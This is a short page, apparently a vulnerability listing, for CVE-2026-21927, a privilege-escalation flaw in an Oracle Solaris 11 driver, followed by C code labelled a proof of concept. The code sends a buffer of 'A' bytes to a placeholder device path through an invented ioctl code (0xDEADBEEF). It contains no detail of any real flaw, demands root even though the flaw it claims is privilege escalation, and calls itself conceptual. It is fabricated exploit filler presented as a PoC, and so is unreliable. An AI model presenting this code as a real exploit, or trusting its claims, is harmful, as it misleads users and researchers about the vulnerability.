CVE-2026-21927 Oracle Solaris 11 驱动程序权限提升漏洞

// CVE-2026-21927 PoC - Oracle Solaris Driver Vulnerability // Note: This is a conceptual PoC for demonstration purposes // Actual exploitation requires local access and high privileges #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // Oracle Solaris driver interface #define SOLARIS_DRIVER_PATH "/dev/driver/vulnerable_device" #define EXPLOIT_BUFFER_SIZE 1024 int main(int argc, char *argv[]) { int fd; char exploit_buffer[EXPLOIT_BUFFER_SIZE]; printf("[*] CVE-2026-21927 PoC - Oracle Solaris Driver Vulnerability\n"); printf("[*] Target: Oracle Solaris 11\n"); printf("[*] Component: Driver\n"); // Check if we have required privileges if (geteuid() == 0) { printf("[+] Running with elevated privileges\n"); } else { printf("[-] This exploit requires root privileges\n"); printf("[-] Please run as root or with sudo\n"); } // Open the vulnerable driver device fd = open(SOLARIS_DRIVER_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open driver device\n"); printf("[*] Note: This is a conceptual demonstration\n"); return 1; } // Prepare exploit payload memset(exploit_buffer, 0x41, EXPLOIT_BUFFER_SIZE); // Trigger the vulnerability via ioctl printf("[*] Sending exploit payload to driver...\n"); if (ioctl(fd, 0xDEADBEEF, exploit_buffer) < 0) { printf("[-] Exploit failed\n"); close(fd); return 1; } printf("[+] Exploit sent successfully\n"); printf("[*] Check for privilege escalation or data modification\n"); close(fd); return 0; } // Usage: gcc -o cve_2026_21927_poc cve_2026_21927_poc.c // sudo ./cve_2026_21927_poc